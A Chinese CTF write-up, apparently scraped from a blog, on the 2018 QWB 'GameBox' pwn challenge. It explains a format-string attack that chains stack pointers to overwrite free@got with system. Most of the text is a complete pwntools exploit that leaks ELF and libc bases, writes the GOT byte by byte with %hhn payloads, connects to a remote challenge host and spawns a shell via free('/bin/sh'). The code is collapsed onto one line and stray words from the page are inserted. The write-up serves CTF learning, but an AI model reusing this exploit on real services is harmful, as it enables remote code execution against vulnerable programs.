參考:html
https://www.cnblogs.com/hac425/p/9416787.htmlpython
http://tacxingxing.com/2018/03/28/2018qwb/
linux
過後覆盤pwn,對於Gamebox一題發現網上wp都是大佬們利用堆玩出花,本菜雞看到有printf格式化字符串漏洞,並且也沒有防禦,就想試試。可是難點在於printf(s)的s在堆上shell
因爲printf(s)的s在堆上,利用起來沒有棧上好用,須要在棧上找到這麼一塊內存。
stack: param 15 -> param 41 -> param X -> free@got (X每次運行都不一樣,須要計算)
經過 %10c%15$hhn 修改 param 41 的內容
經過 %10c%41$hhn 修改 param X 的內容,讓其指向free@got
經過 %10c%966$hhn 修改 free@got的內容spa
若是沒有param15,那麼 param 41修改param X就會比較困難,hhn改1字節,hn改2字節,使用%n會不穩定。原來param X的內容極可能在棧上,須要修改3字節甚至更多,因此多一個param 15控制param 41,讓整個格式化控制鏈更容易。debug
#!/usr/bin/env python2 # -*- coding:utf8 -*- # execve generated by ROPgadget import struct from pwn import * from pwnlib.util.proc import wait_for_debugger #context(os='linux', arch='i386', log_level='debug') #i386 or amd64 #用python xxx.py elf 1調用遠程 local = len(sys.argv) == 2 elf = ELF(sys.argv[1]) if local: io = process(sys.argv[1]) #libc = ELF("/lib/i386-linux-gnu/libc.so.6") #32bit libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #64bit #raw_input("wait for debugger:") #io = remote("localhost", 10001) else: io = remote("106.2.25.7", 8001) libc = ELF("libc-2.23.so") """ puts("Welcome to Pig's GameBox!"); puts("(P)lay GUESS WORDS"); puts("(S)how RANK"); puts("(D)elete RANK"); puts("(C)hange RANK"); puts("(E)xit"); """ def fuzz_guess_words(code,name_len,name): io.sendlineafter("(E)xit","P") io.sendlineafter("what I write:",code) pass def play_guess_words(code,name_len,name): io.sendlineafter("(E)xit","P") io.sendlineafter("what I write:",code) io.sendlineafter(" name length:",str(name_len)) io.sendlineafter("your name:",name) def show_rank(): io.sendlineafter("(E)xit","S") def delete_rank(idx,code): io.sendlineafter("(E)xit","D") io.sendlineafter("Input index:",str(idx)) io.sendlineafter("Input Cookie:",code) s = """ NWLRBBMQBHCDARZOWKKYHIDD QSCDXRJMOWFRXSJYBLDBEFSA RCBYNECDYGGXXPKLORELLNMP APQFWKHOPKMCOQHNWNKUEWHS QMGBBUQCLJJIVSWMDKQTBXIX MVTRRBLJPTNSNFWZQFJMAFAD RRWSOFSBCNUVQHFFBSAQXWPQ CACEHCHZVFRKMLNOZJKPQPXR JXKITZYXACBHHKICQCOENDTO MFGDWDWFCGPXIQVKUYTDLCGD EWHTACIOHORDTQKVWCSGSPQO QMSBOAGUWNNYQXNZLGDGWPBT RWBLNSADEUGUUMOQCDRUBETO KYXHOACHWDVMXXRDRYXLMNDQ TUKWAGMLEJUUKWCIBXUBUMEN MEYATDRMYDIAJXLOGHIQFMZH LVIHJOUVSUYOYPAYULYEIMUO TEHZRIICFSKPGGKBBIPZZRZU CXAMLUDFYKGRUOWZGIOOOBPP LEQLWPHAPJNADQHDCNVWDTXJ BMYPPPHAUXNSPUSGDHIIXQMB FJXJCVUDJSUYIBYEBMWSIQYO YGYXYMZEVYPZVJEGEBEOCFUF TSXDIXTIGSIEEHKCHZDFLILR JQFNXZTQRSVBSPKYHSENBPPK QTPDDBUOTBBQCWIVRFXJUJJD DNTGEIQVDGAIJVWCYAUBWEWP JVYGEHLJXEPBPIWUQZDZUBDU """.replace("\n","").replace(" ","") codes = [s[i*24:i*24+24] for i in range(len(s)/24)] # print "codes",len(codes) #fuzz the code # wait_for_debugger(io.pid) # while True: # fuzz_guess_words('a',20,"aa") cidx = 0 #leak elf base play_guess_words(codes[cidx],20,"%9$p..") cidx +=1 #leak libc base play_guess_words(codes[cidx],20,"%13$p..") cidx +=1 #leap rsp play_guess_words(codes[cidx],20,"%8$p..") cidx += 1 #leap param 41 play_guess_words(codes[cidx],20,"%41$p..") #打印%41處地址 cidx += 1 #一個show_rank能夠一次泄露,也能夠屢次show_rank show_rank() io.recvuntil("0:") main_addr = int(io.recvuntil("..",drop=True),16) - 0x61 elf_base = main_addr - 6260 success("elf_base: %x"%elf_base) io.recvuntil("1:") __libc_start_main_addr = int(io.recvuntil("..",drop=True),16) - 0xf0 libc_base = __libc_start_main_addr - libc.symbols["__libc_start_main"] success("libc_base: %x"%libc_base) system_addr = libc_base + libc.symbols["system"] free_addr = libc_base + libc.symbols["free"] free_got = elf_base + elf.got["free"] success("system_addr: %x"%system_addr) success("free_addr: %x"%free_addr) success("free_got: %x"%free_got) io.recvuntil("2:") rsp_addr = int(io.recvuntil("..",drop=True),16) - 0x30 success("rsp address: %x"%rsp_addr) #stack: param15 -> param41 -> param X(未對齊) io.recvuntil("3:") param_41_addr = int(io.recvuntil("..",drop=True),16) success("param 41 content: %x"%param_41_addr) # 清理 delete_rank(0,codes[0]) delete_rank(1,codes[1]) delete_rank(2,codes[2]) delete_rank(3,codes[3]) def hhn_payload(x,pos): if x == 0: payload = pos else: payload = "%"+str(x)+"c"+ pos return payload def hn_payload(x,pos): if x == 0: payload = pos else: payload = "%"+str(x)+"c"+ pos return payload #修正param_41_addr與棧對齊 #stack: param15 -> param41 -> param X(已對齊) if param_41_addr % 8 != 0: diff = 8 - param_41_addr %8 #須要進位7fff0ecdd2fd hn = (param_41_addr + diff) & 0xffff payload = hn_payload(hn,"%15$hn") play_guess_words(codes[cidx],20,payload) show_rank() delete_rank(0,codes[cidx]) cidx += 1 param_41_addr += diff success("param 41 content adjust: %x"%param_41_addr) #將param X內容改成free_got for i in range(8): #修改一位param X hhn = ((free_got >> (8*i) & 0xff))%256 # print 'hhn',i,hhn payload = hhn_payload(hhn,"%41$hhn") play_guess_words(codes[cidx],20,payload) show_rank() delete_rank(0,codes[cidx]) cidx += 1 if i == 7: break #修改一位param 41 hhn = (param_41_addr + i + 1)&0xff payload = hhn_payload(hhn,"%15$hhn") play_guess_words(codes[cidx],20,payload) #param41 += 1 show_rank() delete_rank(0,codes[cidx]) cidx += 1 #修改param41對應的地方,是程序名處,因此ida2pwntools就不能用了:P #接下來就不能delete了,通常free_addr和system_addr相差3位 #先將param41的內容歸位,指向param X(對齊)處。這裏有可能進位了,可是機率比較少 hn = (param_41_addr)&0xffff payload = hn_payload(hn,"%15$hn a") play_guess_words(codes[cidx],20,payload) cidx += 1 param_idx = (param_41_addr - rsp_addr)/8 + 6 #8字節對齊,前6位在寄存器中 success("param_idx: %d"%param_idx) for i in range(3): #修改free_got低3字節 hhn = ((system_addr >> (8*i) & 0xff))%256 payload = hhn_payload(hhn,"%"+str(param_idx)+"$hhn b"+str(i)) play_guess_words(codes[cidx],20,payload) cidx += 1 if i == 2: break #修改 paramX -> free_got[i+1] hhn = (free_got + i + 1)&0xff payload = hhn_payload(hhn,"%41$hhn c"+str(i)) play_guess_words(codes[cidx],20,payload) cidx += 1 #構造好串:param41的內容歸位,修改free_got[0],修改param943+=1,修改free_got[1],修改param943+=1,修改free_got[2] # wait_for_debugger(io.pid) show_rank() # 用free("/bin/sh") 進行 get_shell play_guess_words(codes[cidx],20,"/bin/sh") delete_rank(6,codes[cidx]) cidx +=1 io.interactive()
僅作記錄,若有不妥請大佬們指正。 code